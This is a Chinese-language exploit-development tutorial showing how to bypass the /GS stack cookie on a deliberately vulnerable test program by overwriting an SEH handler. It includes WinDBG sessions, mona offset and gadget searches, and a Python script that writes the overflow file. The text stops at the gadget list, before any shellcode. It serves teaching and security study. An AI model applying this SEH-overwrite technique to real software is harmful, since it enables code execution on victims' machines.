Exploit Development – 使用SEH绕过Security Cookie

前面我们介绍在关闭/GS和DEP的情况下,如何利用栈溢出来实现exploit。下面我们会开启/GS,以及介绍突破/GS的常用手法。
我们先开启/GS,编译一个build,再试试原先的exploit,看看会有什么问题。
使用原先的msg.dat会导致程序crash,从下面的分析可以看出,WinDBG是可以给出栈溢出的信息的。具体原因是由于开启/GS选项以后,会在return之前,调用__security_check_cookie检测栈上的cookie是否被修改,如果发现被修改,就认为是栈溢出,抛异常。

CommandLine: C:\Users\Administrator\Desktop\stack_overflow\test_x86_with_gs_no_dep.exe msg.dat
Starting directory: C:\Users\Administrator\Desktop\stack_overflow

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       SRV*C:\Symbol\web_symbol*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*C:\Symbol\web_symbol*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 013b0000 013b6000   test_x86_with_gs_no_dep.exe
ModLoad: 77cb0000 77e30000   ntdll.dll
ModLoad: 75a30000 75b40000   C:\Windows\syswow64\kernel32.dll
ModLoad: 76160000 761a6000   C:\Windows\syswow64\KERNELBASE.dll
ModLoad: 73590000 73666000   C:\Windows\SysWOW64\MSVCR110.dll

STATUS_STACK_BUFFER_OVERRUN encountered
(814.5c0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=013b2108 ecx=75a801b8 edx=001af851 esi=00000000 edi=00000000
eip=75a7ff99 esp=001afa98 ebp=001afb14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
75a7ff99 cc              int     3
0:000> kn
 # ChildEBP RetAddr  
00 001afb14 736300f1 kernel32!UnhandledExceptionFilter+0x5f
01 001afb20 013b138e MSVCR110!__crtUnhandledException+0x14
02 001afb30 013b14a5 test_x86_with_gs_no_dep!__raise_securityfailure+0x1d
03 001afe60 013b10eb test_x86_with_gs_no_dep!__report_gsfailure+0xf7
04 001afe8c 0082e8fc test_x86_with_gs_no_dep!main+0xeb 
0:000> ub 013b10eb 
test_x86_with_gs_no_dep!main+0xd4 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 19]:
013b10d4 ff15a4203b01    call    dword ptr [test_x86_with_gs_no_dep!_imp__printf (013b20a4)]
013b10da 8b4dfc          mov     ecx,dword ptr [ebp-4]
013b10dd 83c438          add     esp,38h
013b10e0 33cd            xor     ecx,ebp
013b10e2 5b              pop     ebx
013b10e3 33c0            xor     eax,eax
013b10e5 5e              pop     esi
013b10e6 e804000000      call    test_x86_with_gs_no_dep!__security_check_cookie (013b10ef)

绕过Stack Cookie的方式也有很多,比较简单稳定的方式是覆写SEH hander。首先需要了解SEH的原理,网上资料很多,这里推荐参考《软件调试》第24章的内容。
下面直接从利用调试器看看SEH 是什么,以及如何存放的。
下面列出三种查看异常处理链的方式:

  • 使用!exchain
0:000> !exchain
0032fd04: test_x86_no_dep!_except_handler4+0 (01291749)
  CRT scope  0, filter: test_x86_no_dep!__tmainCRTStartup+115 (012912de)
                func:   test_x86_no_dep!__tmainCRTStartup+129 (012912f2)
0032fd50: ntdll!_except_handler4+0 (77d271d5)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77d274b0)
                func:   ntdll!__RtlUserThreadStart+63 (77d290cb)
  • 使用FS段寄存器
0:000> ?poi(fs:[0])
Evaluate expression: 3341572 = 0032fd04
  • 使用TEB
0:000> !teb
TEB at 7efdd000
    ExceptionList:        0032fd04
    StackBase:            00330000
    StackLimit:           0032e000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 7efdd000
    EnvironmentPointer:   00000000
    ClientId:             00000390 . 00000204
    RpcHandle:            00000000
    Tls Storage:          7efdd02c
    PEB Address:          7efde000
    LastErrorValue:       0
    LastStatusValue:      c0000139
    Count Owned Locks:    0
    HardErrorMode:        0

上面使用!exchain列出的exception list,也可以使用纯手工的方式搜索出来。

0:000> dt _EXCEPTION_REGISTRATION_RECORD
test_x86_no_dep!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION 
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0032fd04
test_x86_no_dep!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0032fd50 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x01291749     _EXCEPTION_DISPOSITION  test_x86_no_dep!_except_handler4+0
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0032fd50 
test_x86_no_dep!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77d271d5     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

从栈地址的信息可以看出,SEH 是存放在栈上的。

0:000> r esp
esp=0032fcd8

在开始编写exploit之前,重新编译测试程序,这一次,将/SAFESEH option关闭。目的是为了简化exploit的难度,因为/SAFESEH是防止覆写SEH的有效手段,当然,这种手段也是可以被绕过的,以后,有时间会介绍。
为了方便说明SEH的问题,我们使用下面的这段code编译一个exe来演示:

#include 

int main(int argc, char** argv) {
    if (argc != 2) {
        printf("Usage:\n   test.exe file_path");
        return -1;
    }

    char msg[32] = {0};
    printf("Reading msg from file...\n");
    FILE *f = fopen(argv[1], "rb");
    if (!f) {
        return -1;
    }
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);

    int pos = 0;
    while (pos < bytes) {
        int len = bytes - pos > 200 ? 200 : bytes - pos;
        fread(msg + pos, 1, len, f);
        pos += len;
    }

    fclose(f);
    printf("%s\n", msg);
    return 0;
}

使用10000个’a’填充msg.dat,看看有什么情况发生,结果程序crash,而且EIP被修改为0x61616161,看来我们是可以通过栈溢出控制EIP的。

(568.4e0): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=61616161 edx=7737b46d esi=00000000 edi=00000000
eip=61616161 esp=0017127c ebp=0017129c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
61616161 ??              ???

为什么会出现这种crash?下面我们开始分析一下。
先看看这个函数的反汇编代码:

.text:00401000 ; =============== S U B R O U T I N E =======================================
.text:00401000
.text:00401000 ; Attributes: bp-based frame
.text:00401000
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main           proc near               ; CODE XREF: __tmainCRTStartup+F8p
.text:00401000
.text:00401000 var_28          = dword ptr -28h
.text:00401000 msg             = byte ptr -24h
.text:00401000 var_4           = dword ptr -4
.text:00401000 argc            = dword ptr  8
.text:00401000 argv            = dword ptr  0Ch
.text:00401000 envp            = dword ptr  10h
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 28h
.text:00401006                 mov     eax, ___security_cookie
.text:0040100B                 xor     eax, ebp
.text:0040100D                 mov     [ebp+var_4], eax
.text:00401010                 cmp     [ebp+argc], 2
.text:00401014                 push    esi
.text:00401015                 mov     esi, [ebp+argv]
.text:00401018                 jz      short loc_40103A
.text:0040101A                 push    offset Format   ; "Usage:\n   test.exe file_path"
.text:0040101F                 call    ds:__imp__printf
.text:00401025                 add     esp, 4
.text:00401028                 or      eax, 0FFFFFFFFh
.text:0040102B                 pop     esi
.text:0040102C                 mov     ecx, [ebp+var_4]
.text:0040102F                 xor     ecx, ebp        ; cookie
.text:00401031                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401036                 mov     esp, ebp
.text:00401038                 pop     ebp
.text:00401039                 retn
.text:0040103A ; ---------------------------------------------------------------------------
.text:0040103A
.text:0040103A loc_40103A:                             ; CODE XREF: _main+18j
.text:0040103A                 xorps   xmm0, xmm0
.text:0040103D                 push    ebx
.text:0040103E                 push    offset aReadingMsgFrom ; "Reading msg from file...\n"
.text:00401043                 mov     [ebp+msg], 0
.text:00401047                 movq    qword ptr [ebp+msg+1], xmm0
.text:0040104C                 movq    qword ptr [ebp+msg+9], xmm0
.text:00401051                 movq    qword ptr [ebp+msg+11h], xmm0
.text:00401056                 mov     dword ptr [ebp+msg+19h], 0
.text:0040105D                 mov     word ptr [ebp+msg+1Dh], 0
.text:00401063                 mov     [ebp+msg+1Fh], 0
.text:00401067                 call    ds:__imp__printf
.text:0040106D                 push    offset Mode     ; "rb"
.text:00401072                 push    dword ptr [esi+4] ; Filename
.text:00401075                 call    ds:__imp__fopen
.text:0040107B                 mov     ebx, eax
.text:0040107D                 add     esp, 0Ch
.text:00401080                 test    ebx, ebx
.text:00401082                 jnz     short loc_401097
.text:00401084                 pop     ebx
.text:00401085                 or      eax, 0FFFFFFFFh
.text:00401088                 pop     esi
.text:00401089                 mov     ecx, [ebp+var_4]
.text:0040108C                 xor     ecx, ebp        ; cookie
.text:0040108E                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401093                 mov     esp, ebp
.text:00401095                 pop     ebp
.text:00401096                 retn
.text:00401097 ; ---------------------------------------------------------------------------
.text:00401097
.text:00401097 loc_401097:                             ; CODE XREF: _main+82j
.text:00401097                 mov     esi, ds:__imp__fseek
.text:0040109D                 push    edi
.text:0040109E                 push    2               ; Origin
.text:004010A0                 push    0               ; Offset
.text:004010A2                 push    ebx             ; File
.text:004010A3                 call    esi ; __imp__fseek
.text:004010A5                 push    ebx             ; File
.text:004010A6                 call    ds:__imp__ftell
.text:004010AC                 push    0               ; Origin
.text:004010AE                 push    0               ; Offset
.text:004010B0                 push    ebx             ; File
.text:004010B1                 mov     [ebp+var_28], eax
.text:004010B4                 call    esi ; __imp__fseek
.text:004010B6                 mov     eax, [ebp+var_28]
.text:004010B9                 add     esp, 1Ch
.text:004010BC                 xor     edi, edi
.text:004010BE                 test    eax, eax
.text:004010C0                 jle     short loc_4010FE
.text:004010C2                 mov     ecx, 0C8h
.text:004010C7                 jmp     short loc_4010D0
.text:004010C7 ; ---------------------------------------------------------------------------
.text:004010C9                 align 10h
.text:004010D0
.text:004010D0 loc_4010D0:                             ; CODE XREF: _main+C7j
.text:004010D0                                         ; _main+FCj
.text:004010D0                 mov     esi, eax
.text:004010D2                 sub     esi, edi
.text:004010D4                 cmp     esi, 0C8h
.text:004010DA                 cmovg   esi, ecx
.text:004010DD                 push    ebx             ; File
.text:004010DE                 push    esi             ; Count
.text:004010DF                 lea     eax, [ebp+msg]
.text:004010E2                 add     eax, edi
.text:004010E4                 push    1               ; ElementSize
.text:004010E6                 push    eax             ; DstBuf
.text:004010E7                 call    ds:__imp__fread
.text:004010ED                 mov     eax, [ebp+var_28]
.text:004010F0                 add     edi, esi
.text:004010F2                 add     esp, 10h
.text:004010F5                 mov     ecx, 0C8h
.text:004010FA                 cmp     edi, eax
.text:004010FC                 jl      short loc_4010D0
.text:004010FE
.text:004010FE loc_4010FE:                             ; CODE XREF: _main+C0j
.text:004010FE                 push    ebx             ; File
.text:004010FF                 call    ds:__imp__fclose
.text:00401105                 lea     eax, [ebp+msg]
.text:00401108                 push    eax
.text:00401109                 push    offset aS       ; "%s\n"
.text:0040110E                 call    ds:__imp__printf
.text:00401114                 mov     ecx, [ebp+var_4]
.text:00401117                 add     esp, 0Ch
.text:0040111A                 xor     ecx, ebp        ; cookie
.text:0040111C                 pop     edi
.text:0040111D                 pop     ebx
.text:0040111E                 xor     eax, eax
.text:00401120                 pop     esi
.text:00401121                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401126                 mov     esp, ebp
.text:00401128                 pop     ebp
.text:00401129                 retn
.text:00401129 _main           endp
.text:00401129

因为开启了/GS,所以,会在汇编代码中找到security cookie之类的动作。我们知道fread会导致溢出,所以,我们直接在这里设置断点,观察执行以后的情况。

0:000> u test_x86_wo_safeseh_dep+10E7
test_x86_wo_safeseh_dep!main+0xe7 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]:
013c10e7 ff1598203c01    call    dword ptr [test_x86_wo_safeseh_dep!_imp__fread (013c2098)]
013c10ed 8b45d8          mov     eax,dword ptr [ebp-28h]
013c10f0 03fe            add     edi,esi
013c10f2 83c410          add     esp,10h
013c10f5 b9c8000000      mov     ecx,0C8h
013c10fa 3bf8            cmp     edi,eax
013c10fc 7cd2            jl      test_x86_wo_safeseh_dep!main+0xd0 (013c10d0)
013c10fe 53              push    ebx
0:000> bp test_x86_wo_safeseh_dep+10E7

F5继续执行,断下来以后,我们看看将要被修改的memory内容,也就是EAX指向的位置。

0:000> g
Breakpoint 1 hit
eax=003cfa70 ebx=73987060 ecx=000000c8 edx=0015dfe8 esi=000000c8 edi=00000000
eip=013c10e7 esp=003cfa50 ebp=003cfa94 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
test_x86_wo_safeseh_dep!main+0xe7:
013c10e7 ff1598203c01    call    dword ptr [test_x86_wo_safeseh_dep!_imp__fread (013c2098)] ds:002b:013c2098={MSVCR110!fread (738d88fc)}
0:000> dd 003cfa70
003cfa70  00000000 00000000 00000000 00000000
003cfa80  00000000 00000000 00000000 00000000
003cfa90  fe33e796 003cfad4 013c133a 00000002
003cfaa0  00176df8 00175260 fe33e7d6 00000000
003cfab0  00000000 7efde000 00000000 003cfaa8
003cfac0  0000008b 003cfb10 013c18e9 ff333f22
003cfad0  00000000 003cfae0 74bb339a 7efde000
003cfae0  003cfb20 77359ef2 7efde000 7e8bdd7f

单步执行以后,再看看原先的memory情况,可以发现相应位置的内容已经被覆写为0x61616161,原先的EBP和返回地址同样也被修改为0x61616161。

0:000> p
eax=000000c8 ebx=73987060 ecx=738d88dc edx=00000000 esi=000000c8 edi=00000000
eip=013c10ed esp=003cfa50 ebp=003cfa94 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
test_x86_wo_safeseh_dep!main+0xed:
013c10ed 8b45d8          mov     eax,dword ptr [ebp-28h] ss:002b:003cfa6c=00002710
0:000> dd 003cfa70
003cfa70  61616161 61616161 61616161 61616161
003cfa80  61616161 61616161 61616161 61616161
003cfa90  61616161 61616161 61616161 61616161
003cfaa0  61616161 61616161 61616161 61616161
003cfab0  61616161 61616161 61616161 61616161
003cfac0  61616161 61616161 61616161 61616161
003cfad0  61616161 61616161 61616161 61616161
003cfae0  61616161 61616161 61616161 61616161
0:000> dd
003cfaf0  61616161 61616161 61616161 61616161
003cfb00  61616161 61616161 61616161 61616161
003cfb10  61616161 61616161 61616161 61616161
003cfb20  61616161 61616161 61616161 61616161
003cfb30  61616161 61616161 00000000 00000000
003cfb40  013c13a2 7efde000 00000000 00000000
003cfb50  00000000 00000000 00000000 00000000
003cfb60  00000000 00000000 00000000 00000000
0:000> dd 003cfa94 l2
003cfa94  61616161 61616161

调试的过程中,会发现程序会一直在下面的loop中执行,原因是msg.dat内容比较大,会持续地读取内容。
Exploit Development – 使用SEH绕过Security Cookie_第1张图片

为了跳过这段loop,我们可以在后面的PUSH EBX设断。不过,当使用F5 continue的时候,发现出现并没有断在我们刚刚设置的断点上,而是出现下面的exception。

0:000> g
(ab8.8c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=002b7be8 ebx=000000c8 ecx=0000002c edx=00000000 esi=00178418 edi=003d0000
eip=738ce33d esp=003cf990 ebp=003cf9b0 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
MSVCR110!memcpy+0x21e:
738ce33d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> k
ChildEBP RetAddr  
003cf994 738ce3b7 MSVCR110!memcpy+0x21e
003cf9b0 738d8855 MSVCR110!memcpy_s+0x3e
003cf9e4 738d88c1 MSVCR110!_fread_nolock_s+0xd3
003cfa2c 738d8912 MSVCR110!fread_s+0x6b
003cfa48 013c10ed MSVCR110!fread+0x16
003cfa94 61616161 test_x86_wo_safeseh_dep!main+0xed [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]

这个exception是由于访问违例导致的,可以看出,当前还是在fread函数中。使用!address命令可以看出目标地址EDI所指向的地址是READONLY属性,这就难怪为什么会出现访问违例了,不给写嘛!

0:000> !address 003d0000

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  MappedFile
Base Address:           003d0000
End Address:            00437000
Region Size:            00067000
State:                  00001000    MEM_COMMIT
Protect:                00000002    PAGE_READONLY
Type:                   00040000    MEM_MAPPED
Allocation Base:        003d0000
Allocation Protect:     00000002    PAGE_READONLY
Mapped file name:       \Device\HarddiskVolume2\Windows\System32\locale.nls

总结一下:上面看到的exception是由于程序读入大量的内容,往栈上覆写,从003cfa94 往高地址写,一直写到003d0000,结果导致了访问违例。
这个时候,我们看看exception chain的情况,可以看到下面这样的

0:000> !exchain
003cfa1c: MSVCR110!_except_handler4+0 (738da6e0)
  CRT scope  0, func:   MSVCR110!fread_s+83 (73911cfc)
003cfac4: 61616161
Invalid exception stack at 61616161

为了看看exception handler是怎么被调用的,可以在上面的exception hander上设置断点,MONA提供命令可以给SEH 上的所有hander设置断点

0:000> !py mona bpseh
Hold on...
[+] Command used:
!py mona.py bpseh
Nr of SEH records : 2
SEH Chain :
-----------
Address     Next SEH    Handler
0x003cfa1c  0x003cfac4  0x738da6e0 MSVCR110!_except_handler4 <- BP set
0x003cfac4  0x61616161  0x61616161  <- BP set

[+] This mona.py action took 0:00:00.094000

不过,继续执行以后会出现下面的错误,意思是说0x61616161这个位置不能用BP设置断点,原因是由于这个位置不可访问。

0:000> g
Unable to insert breakpoint 4 at 61616161, Win32 error 0n299
    "Only part of a ReadProcessMemory or WriteProcessMemory request was completed."
The breakpoint was set with BP.  If you want breakpoints
to track module load/unload state you must use BU.
bp4 at 61616161 failed
WaitForEvent failed
eax=002b7be8 ebx=000000c8 ecx=0000002c edx=00000000 esi=00178418 edi=003d0000
eip=738ce33d esp=003cf990 ebp=003cf9b0 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
MSVCR110!memcpy+0x21e:
738ce33d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:000> !address 0x61616161
Usage:                  Free
Base Address:           013c6000
End Address:            735d0000
Region Size:            7220a000
State:                  00010000    MEM_FREE
Protect:                00000001    PAGE_NOACCESS
Type:                   not present at the target>

既然如此,就把这个位置的断点清掉,我们用硬件断点来设断。

0:000> bl
 0 e 013c1000     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main
 1 d 013c10e7     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main+0xe7
 2 e 013c10fe     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main+0xfe
 3 e 738da6e0     0001 (0001)  0:**** MSVCR110!_except_handler4
 4 e 61616161     0001 (0001)  0:**** 
0:000> bc 4

0:000> ba e1 0x61616161
0:000> bl
 0 e 013c1000     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main
 1 d 013c10e7     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main+0xe7
 2 e 013c10fe     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main+0xfe
 3 e 738da6e0     0001 (0001)  0:**** MSVCR110!_except_handler4
 4 e 61616161 e 1 0001 (0001)  0:****

我们再继续执行,可以看到依然是在fread中调用memcpy中,调用RtlDispatchException找合适的异常处理函数,先找到except_handler4,except_handler4处理不了,继续往下一个找,也就是0x61616161,这也就是为什么最后,我们会发现crash时,EIP是0x61616161的原因了。

0:000> g
Breakpoint 3 hit
eax=00000000 ebx=00000000 ecx=738da6e0 edx=7737b46d esi=00000000 edi=00000000
eip=738da6e0 esp=003cf3f4 ebp=003cf414 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
MSVCR110!_except_handler4:
738da6e0 55              push    ebp
0:000> k
ChildEBP RetAddr  
003cf3f0 7737b459 MSVCR110!_except_handler4
003cf414 7737b42b ntdll!ExecuteHandler2+0x26
003cf438 7737b3ce ntdll!ExecuteHandler+0x24
003cf4c4 77330133 ntdll!RtlDispatchException+0x127
003cf4c4 738ce33d ntdll!KiUserExceptionDispatcher+0xf
003cf994 738ce3b7 MSVCR110!memcpy+0x21e
003cf9b0 738d8855 MSVCR110!memcpy_s+0x3e
003cf9e4 738d88c1 MSVCR110!_fread_nolock_s+0xd3
003cfa2c 738d8912 MSVCR110!fread_s+0x6b
003cfa48 013c10ed MSVCR110!fread+0x16
003cfa94 61616161 test_x86_wo_safeseh_dep!main+0xed [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]

0:000> g
Breakpoint 4 hit
eax=00000000 ebx=00000000 ecx=61616161 edx=7737b46d esi=00000000 edi=00000000
eip=61616161 esp=003cf3f4 ebp=003cf414 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
61616161 ??              ???
0:000> k
ChildEBP RetAddr  
003cf3f0 7737b459 0x61616161
003cf414 7737b42b ntdll!ExecuteHandler2+0x26
003cf438 7737b3ce ntdll!ExecuteHandler+0x24
003cf4c4 77330133 ntdll!RtlDispatchException+0x127
003cf4c4 738ce33d ntdll!KiUserExceptionDispatcher+0xf
003cf994 738ce3b7 MSVCR110!memcpy+0x21e
003cf9b0 738d8855 MSVCR110!memcpy_s+0x3e
003cf9e4 738d88c1 MSVCR110!_fread_nolock_s+0xd3
003cfa2c 738d8912 MSVCR110!fread_s+0x6b
003cfa48 013c10ed MSVCR110!fread+0x16
003cfa94 61616161 test_x86_wo_safeseh_dep!main+0xed [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]

有了上面的分析理解,可以有助于我们理解exploit的利用原理。下面我们会介绍如何利用这个crash来开发一个exploit。
前面我们知道可以通过栈溢出来覆写exception handler,既然如此,我们需要知道相对偏移的位置是多少,可以使用MONA生成长度为10000的Pattern

0:000> !py mona pc 10000
Hold on...
[+] Command used:
!py mona.py pc 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M
[+] Preparing output file 'pattern.txt'
    - Creating working folder c:\mona\test_x86_wo_safeseh_dep
    - Folder created
    - (Re)setting logfile c:\mona\test_x86_wo_safeseh_dep\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\mona\test_x86_wo_safeseh_dep\pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00.047000

将这个pattern作为msg.dat的内容,再看看crash的位置。

0:000> g
(adc.37c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=7737b46d esi=00000000 edi=00000000
eip=64413963 esp=003af790 ebp=003af7b0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
64413963 ??              ???
0:000> !py mona po 64413963
Hold on...
[+] Command used:
!py mona.py po 64413963
Looking for c9Ad in pattern of 500000 bytes
 - Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
 - Pattern dA9c not found in cyclic pattern (uppercase)  
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
 - Pattern dA9c not found in cyclic pattern (lowercase)  
[+] This mona.py action took 0:00:00.281000

看来offset是88,这样,我们可以利用下面的python脚本生成一个特殊的msg.dat,如果与我们预期一致的话,新的crash中EIP应该是0x62626262

with open(r'msg.dat', 'wb') as f:
    data = 'a'*88 + 'b'*4 + 'c'*10000
    f.write(data)

WinDBG中的调试信息:

0:000> g
(790.434): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=7737b46d esi=00000000 edi=00000000
eip=62626262 esp=0031f3c8 ebp=0031f3e8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???
0:000> dd esp l200
0031f3c8  7737b459 0031f4b0 0031fa98 0031f500
0031f3d8  0031f484 0031f9f0 7737b46d 0031fa98
0031f3e8  0031f498 7737b42b 0031f4b0 0031fa98
0031f3f8  0031f500 0031f484 62626262 00000000
0031f408  0031f4b0 0031fa98 7737b3ce 0031f4b0
0031f418  0031fa98 0031f500 0031f484 62626262
0031f428  00320000 0031f4b0 005e8444 00000000
0031f438  00000000 00000000 00000000 00000000
...
0031fa28  00000001 000000c8 73817060 00000000
0031fa38  00000000 00000001 0000276c 61616161
0031fa48  61616161 61616161 61616161 61616161
0031fa58  61616161 61616161 61616161 61616161
0031fa68  61616161 61616161 61616161 61616161
0031fa78  61616161 61616161 61616161 61616161
0031fa88  61616161 61616161 61616161 61616161
0031fa98  61616161 62626262 63636363 63636363 <--ESP+8的内容指向这里
0031faa8  63636363 63636363 63636363 63636363
0031fab8  63636363 63636363 63636363 63636363
0031fac8  63636363 63636363 63636363 63636363
0031fad8  63636363 63636363 63636363 63636363
0031fae8  63636363 63636363 63636363 63636363
0031faf8  63636363 63636363 63636363 63636363
0031fb08  63636363 63636363 63636363 63636363
0031fb18  63636363 63636363 63636363 63636363
0031fb28  63636363 63636363 63636363 63636363
0031fb38  63636363 63636363 63636363 63636363
0031fb48  63636363 63636363 63636363 63636363
0031fb58  63636363 63636363 63636363 63636363
0031fb68  63636363 63636363 63636363 63636363
0031fb78  63636363 63636363 63636363 63636363
0031fb88  63636363 63636363 63636363 63636363
0031fb98  63636363 63636363 63636363 63636363
0031fba8  63636363 63636363 63636363 63636363
0031fbb8  63636363 63636363 63636363 63636363

看来一切如我们预期的一样!
此时,看看当前栈上的情况,ESP+8这个位置所存放的值正好是最终会执行的exception hander所对应的_EXCEPTION_REGISTRATION_RECORD节点地址

0:000> dt _EXCEPTION_REGISTRATION_RECORD 0031fa98
test_x86_wo_safeseh_dep!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x62626262     _EXCEPTION_DISPOSITION  +62626262

同时,这个地址的内容是可以被我们所控制的,我们可以写入任意值。
常用的思路是将原先的’bbbb’修改为POP,POP,RET的地址,这样,就会执行到上面介绍的0031fa98,然后,将0031fa98的内容改为JMP,然后将0x63636363修改为shellcode
Exploit Development – 使用SEH绕过Security Cookie_第2张图片

使用MONA在ntdll和kernel32中搜索POP,POP,RET的指令

0:000> !py mona fw -s "pop r32#pop r32#ret" -m ntdll,kernel32
Hold on...
[+] Command used:
!py mona.py fw -s pop r32#pop r32#ret -m ntdll,kernel32

---------- Mona command started on 2016-12-14 05:50:08 (v2.0, rev 562) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules ntdll,kernel32
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x77320000 and 0x774a0000
[+] Searching startpattern between 0x74ba0000 and 0x74cb0000
[+] Preparing output file 'findwild.txt'
    - (Re)setting logfile c:\mona\test_x86_wo_safeseh_dep\findwild.txt
[+] Writing results to c:\mona\test_x86_wo_safeseh_dep\findwild.txt
[+] Results : 
0x7735fd82 |   0x7735fd82 (b+0x0003fd82)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x77380414 |   0x77380414 (b+0x00060414)  : pop edi # pop esi # retn | ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7739a4e7 |   0x7739a4e7 (b+0x0007a4e7)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x773c16db |   0x773c16db (b+0x000a16db)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x773c615e |   0x773c615e (b+0x000a615e)  : pop edi # pop esi # retn | asciiprint,ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x74bbd63d |   0x74bbd63d (b+0x0001d63d)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
0x74c56af6 |   0x74c56af6 (b+0x000b6af6)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
